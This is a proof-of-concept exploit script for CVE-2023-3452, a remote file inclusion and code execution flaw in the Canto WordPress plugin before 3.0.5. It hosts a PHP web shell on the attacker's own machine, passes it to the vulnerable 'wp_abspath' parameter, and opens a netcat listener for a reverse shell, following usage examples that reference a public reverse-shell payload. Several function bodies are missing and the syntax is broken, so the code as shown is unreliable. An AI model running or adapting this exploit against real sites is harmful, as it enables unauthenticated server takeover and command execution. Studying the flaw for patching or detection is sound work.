WordPress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE) (CVE: CVE-2023-3452)

#PoC Notes:
#The Canto plugin for WordPress is vulnerable to Remote File Inclusion in versions up to, and including, 3.0.4 via the 'wp_abspath' parameter. This allows unauthenticated attackers to include and execute arbitrary remote code on the server, provided that allow_url_include is enabled. (Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
#This code exploits the improper handling of the wp_abspath variable in the following line of the "download.php" code:
#... require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php'); ...
#This is just an example but there is this same misconfiguration in other lines of the vulnerable plugin files.
# More information in Leoanggal1's Github

import argparse
import http.server
import socketserver
import threading
import requests
import os
import subprocess

# Define the default web shell
default_web_shell = ""

def create_admin_file(local_dir, local_shell=None):
    if not os.path.exists(local_dir):

    # If a local shell is provided, use it; otherwise, use the default web shell
    if local_shell:
        with open(f"{local_dir}/admin.php", "wb") as admin_file:
            with open(local_shell, "rb") as original_file:
        with open(f"{local_dir}/admin.php", "w") as admin_file:

def start_local_server(local_port):
    Handler = http.server.SimpleHTTPRequestHandler
    httpd = socketserver.TCPServer(("", local_port), Handler)

    print(f"Local web server on port {local_port}...")

    return httpd

def exploit_rfi(url, local_shell, local_host, local_port, command, nc_port):
    local_dir = "wp-admin"
    create_admin_file(local_dir, local_shell)

    target_url = f"{url}/wp-content/plugins/canto/includes/lib/download.php"
    local_server = f"http://{local_host}:{local_port}"
    command = f"cmd={command}"

    if local_shell:
        # If a local shell is provided, start netcat on the specified port
        subprocess.Popen(["nc", "-lvp", str(nc_port)])

    server_thread = threading.Thread(target=start_local_server, args=(local_port,))
    server_thread.daemon = True

    exploit_url = f"{target_url}?wp_abspath={local_server}&{command}"
    print(f"Exploitation URL: {exploit_url}")

    response = requests.get(exploit_url)
    print("Server response:")

    # Shutdown the local web server
    print("Shutting down local web server...")

if __name__ == "__main__":
    examples = '''
    - Check the vulnerability
    python3 CVE-2023-3452.py -u -LHOST

    - Execute a command
    python3 CVE-2023-3452.py -u -LHOST -c 'id'

    - Upload and run a reverse shell file. You can download it from https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php or generate it with msfvenom.
    python3 CVE-2023-3452.py -u -LHOST -s php-reverse-shell.php
    parser = argparse.ArgumentParser(description="Script to exploit the Remote File Inclusion vulnerability in the Canto plugin for WordPress - CVE-2023-3452", epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("-u", "--url", required=True, default=None,  help="Vulnerable URL")
    parser.add_argument("-s", "--shell", help="Local file for web shell")
    parser.add_argument("-LHOST", "--local_host", required=True, help="Local web server IP")
    parser.add_argument("-LPORT", "--local_port", help="Local web server port")
    parser.add_argument("-c", "--command", default="whoami", help="Command to execute on the target")
    parser.add_argument("-NC_PORT", "--nc_port", type=int, help="Listener port for netcat")

        args = parser.parse_args()

        if args.local_port is None:
            args.local_port = 8080  # Valor predeterminado si LPORT no se proporciona
        exploit_rfi(args.url, args.shell, args.local_host, int(args.local_port), args.command, args.nc_port)

    except SystemExit: